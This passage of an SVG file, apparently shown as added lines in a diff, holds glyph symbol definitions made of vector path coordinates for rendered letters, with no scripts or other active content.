11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 0 2.84375 L 6.796875 2.84375 L 6.796875 4.171875 L 0 4.171875 Z M 0 2.84375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.296875 -14.234375 C 1.515625 -14.273438 1.753906 -14.304688 2.015625 -14.328125 C 2.285156 -14.347656 2.554688 -14.359375 2.828125 -14.359375 C 3.097656 -14.367188 3.363281 -14.375 3.625 -14.375 C 3.894531 -14.382812 4.144531 -14.390625 4.375 -14.390625 C 5.363281 -14.390625 6.203125 -14.21875 6.890625 -13.875 C 7.578125 -13.539062 8.140625 -13.054688 8.578125 -12.421875 C 9.015625 -11.796875 9.328125 -11.039062 9.515625 -10.15625 C 9.703125 -9.28125 9.796875 -8.300781 9.796875 -7.21875 C 9.796875 -6.238281 9.703125 -5.300781 9.515625 -4.40625 C 9.335938 -3.507812 9.03125 -2.722656 8.59375 -2.046875 C 8.164062 -1.367188 7.59375 -0.828125 6.875 -0.421875 C 6.164062 -0.015625 5.273438 0.1875 4.203125 0.1875 C 4.023438 0.1875 3.800781 0.179688 3.53125 0.171875 C 3.257812 0.160156 2.976562 0.144531 2.6875 0.125 C 2.394531 0.113281 2.125 0.0976562 1.875 0.078125 C 1.625 0.0664062 1.429688 0.046875 1.296875 0.015625 Z M 4.453125 -12.984375 C 4.316406 -12.984375 4.171875 -12.984375 4.015625 -12.984375 C 3.859375 -12.984375 3.703125 -12.976562 3.546875 -12.96875 C 3.398438 -12.957031 3.265625 -12.941406 3.140625 -12.921875 C 3.015625 -12.910156 2.910156 -12.898438 2.828125 -12.890625 L 2.828125 -1.296875 C 2.878906 -1.285156 2.972656 -1.273438 3.109375 -1.265625 C 3.253906 -1.265625 3.40625 -1.257812 3.5625 -1.25 C 3.71875 -1.238281 3.867188 -1.226562 4.015625 -1.21875 C 4.160156 -1.21875 4.265625 -1.21875 4.328125 -1.21875 C 5.078125 -1.21875 5.703125 -1.378906 6.203125 -1.703125 C 6.703125 -2.035156 7.097656 -2.472656 7.390625 -3.015625 C 7.679688 -3.566406 7.882812 -4.203125 8 -4.921875 C 8.125 -5.648438 8.1875 -6.421875 8.1875 -7.234375 C 8.1875 -7.953125 8.128906 -8.65625 8.015625 -9.34375 C 7.910156 -10.039062 7.71875 -10.65625 7.4375 -11.1875 C 7.164062 -11.726562 6.789062 -12.160156 6.3125 -12.484375 C 5.832031 -12.816406 5.210938 -12.984375 4.453125 -12.984375 Z M 4.453125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
